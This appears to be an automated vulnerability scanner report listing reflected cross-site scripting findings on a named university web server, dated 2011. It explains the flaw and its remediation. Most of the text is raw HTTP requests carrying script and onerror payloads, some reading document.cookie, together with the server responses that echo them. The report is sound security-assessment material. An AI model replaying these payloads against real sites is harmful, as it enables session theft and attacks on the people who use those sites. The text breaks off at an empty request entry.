Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f972a<img%20src%3da%20onerror%3dalert(1)>e6e3afeb687 was submitted in the REST URL parameter 1. This input was echoed as f972a<img src=a onerror=alert(1)>e6e3afeb687 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20src%3da%20onerror%3dalert(1)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:12:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1141 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(1)>e6e3afeb687/</b> was not found or is no longer ...[SNIP]... <br> Reason: File does not exist: /www/world/alpinef972a<img src=a onerror=alert(1)>e6e3afeb687.</br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag. The payload 13141><img%20src%3da%20onerror%3dalert(1)>dc54bd8fde8 was submitted in the REST URL parameter 1. This input was echoed as 13141><img src=a onerror=alert(1)>dc54bd8fde8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img13141><img%20src%3da%20onerror%3dalert(1)>dc54bd8fde8 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:07 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1181 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img13141><img src=a onerror=alert(1)>dc54bd8fde8</b> was not found o ...[SNIP]... <img13141><img src=a onerror=alert(1)>dc54bd8fde8.</br> ...[SNIP]...
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1e946<script>alert(1)</script>a554c0a9069 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img?1e946<script>alert(1)</script>a554c0a9069=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:54 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1116 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img?1e946<script>alert(1)</script>a554c0a9069=1</b> was not found or is no lo ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload e2312><img%20src%3da%20onerror%3dalert(1)>f9a01abcc36 was submitted in the REST URL parameter 1. This input was echoed as e2312><img src=a onerror=alert(1)>f9a01abcc36 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20srce2312><img%20src%3da%20onerror%3dalert(1)>f9a01abcc36=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:10 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1328 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img srce2312><img src=a onerror=alert(1)>f9a01abcc36=a onerror=alert ...[SNIP]... <img srce2312><img src=a onerror=alert(1)>f9a01abcc36=a onerror=alert(String.fromCharCode(88,83,83.</br> ...[SNIP]...
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 24c9e<script>alert(1)</script>e47c3de87fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83?24c9e<script>alert(1)</script>e47c3de87fe=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:00 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1263 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83?24c9e<script>alert(1)</script>e47c3de87fe=1</b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload 8624f><img%20src%3da%20onerror%3dalert(1)>a52668d1945 was submitted in the REST URL parameter 1. This input was echoed as 8624f><img src=a onerror=alert(1)>a52668d1945 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20src8624f><img%20src%3da%20onerror%3dalert(1)>a52668d1945=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:09 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1378 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src8624f><img src=a onerror=alert(1)>a52668d1945=a onerror=alert ...[SNIP]... <img src8624f><img src=a onerror=alert(1)>a52668d1945=a onerror=alert(String.fromCharCode(88,83,83))> ...[SNIP]...
1.7. http://www.washington.edu/alpinef972ae6e3afeb687/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload b8e4f<script>alert(1)</script>22252d51a54 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/?b8e4f<script>alert(1)</script>22252d51a54=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:59 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1313 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/?b8e4f<script>alert(1)</script>22252d51a54=1</b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload ef31e><img%20src%3da%20onerror%3dalert(1)>0cd7daaa6cd was submitted in the REST URL parameter 1. This input was echoed as ef31e><img src=a onerror=alert(1)>0cd7daaa6cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20srcef31e><img%20src%3da%20onerror%3dalert(1)>0cd7daaa6cd=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:07 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1289 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img srcef31e><img src=a onerror=alert(1)>0cd7daaa6cd=a onerror=alert ...[SNIP]... <img srcef31e><img src=a onerror=alert(1)>0cd7daaa6cd=a onerror=alert(document.cookie.</br> ...[SNIP]...
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 908e6<script>alert(1)</script>c5fe2abfd28 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie?908e6<script>alert(1)</script>c5fe2abfd28=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:54 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1224 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie?908e6<script>alert(1)</script>c5fe2abfd28=1</b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload bafe1><img%20src%3da%20onerror%3dalert(1)>1bf1e4c1efb was submitted in the REST URL parameter 1. This input was echoed as bafe1><img src=a onerror=alert(1)>1bf1e4c1efb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /alpinef972a<img%20srcbafe1><img%20src%3da%20onerror%3dalert(1)>1bf1e4c1efb=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:06 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1336 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img srcbafe1><img src=a onerror=alert(1)>1bf1e4c1efb=a onerror=alert ...[SNIP]... <img srcbafe1><img src=a onerror=alert(1)>1bf1e4c1efb=a onerror=alert(document.cookie)> ...[SNIP]...
1.11. http://www.washington.edu/alpinef972ae6e3afeb687/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 17a40<script>alert(1)</script>9052f2c52d7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/?17a40<script>alert(1)</script>9052f2c52d7=1 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:54 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1271 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/?17a40<script>alert(1)</script>9052f2c52d7=1</b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1fab8<img%20src%3da%20onerror%3dalert(1)>cbed7a69ba2 was submitted in the REST URL parameter 1. This input was echoed as 1fab8<img src=a onerror=alert(1)>cbed7a69ba2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /pine1fab8<img%20src%3da%20onerror%3dalert(1)>cbed7a69ba2/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:12:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1135 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/pine1fab8<img src=a onerror=alert(1)>cbed7a69ba2/</b> was not found or is no longer on ...[SNIP]... <br> Reason: File does not exist: /www/world/pine1fab8<img src=a onerror=alert(1)>cbed7a69ba2.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 3f4c3><script>alert(1)</script>e8ade6fb151 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=3f4c3><script>alert(1)</script>e8ade6fb151
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1300 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>You reached this URL ...[SNIP]... <img, referer: http://www.google.com/search?hl=en&q=3f4c3><script>alert(1)</script>e8ade6fb151.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33f90"><script>alert(1)</script>9d0ccdde51c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=33f90"><script>alert(1)</script>9d0ccdde51c
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1304 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>You reached this URL ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=33f90"><script>alert(1)</script>9d0ccdde51c"> ...[SNIP]...
The value of the Referer HTTP header is copied into the name of an HTML tag attribute. The payload 9879d><script>alert(1)</script>aaede211a9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: 9879d><script>alert(1)</script>aaede211a9
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1148 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>You reached this URL ...[SNIP]... <img, referer: 9879d><script>alert(1)</script>aaede211a9.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 20e7e<script>alert(1)</script>086eb857f86 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=20e7e<script>alert(1)</script>086eb857f86
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1296 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>You reached this URL ...[SNIP]... </script>086eb857f86">http://www.google.com/search?hl=en&q=20e7e<script>alert(1)</script>086eb857f86</a> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload ead44<script>alert(1)</script>659da71b328 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ead44<script>alert(1)</script>659da71b328 Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:59 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1069 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>Please check the URL ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ead44<script>alert(1)</script>659da71b328<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the name of an HTML tag attribute. The payload d4e07><script>alert(1)</script>db7d3dc30c8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: d4e07><script>alert(1)</script>db7d3dc30c8
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1299 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... <img src=a onerror=alert(String.fromCharCode(88,83,83, referer: d4e07><script>alert(1)</script>db7d3dc30c8.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 1772b<script>alert(1)</script>825d0cb184a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
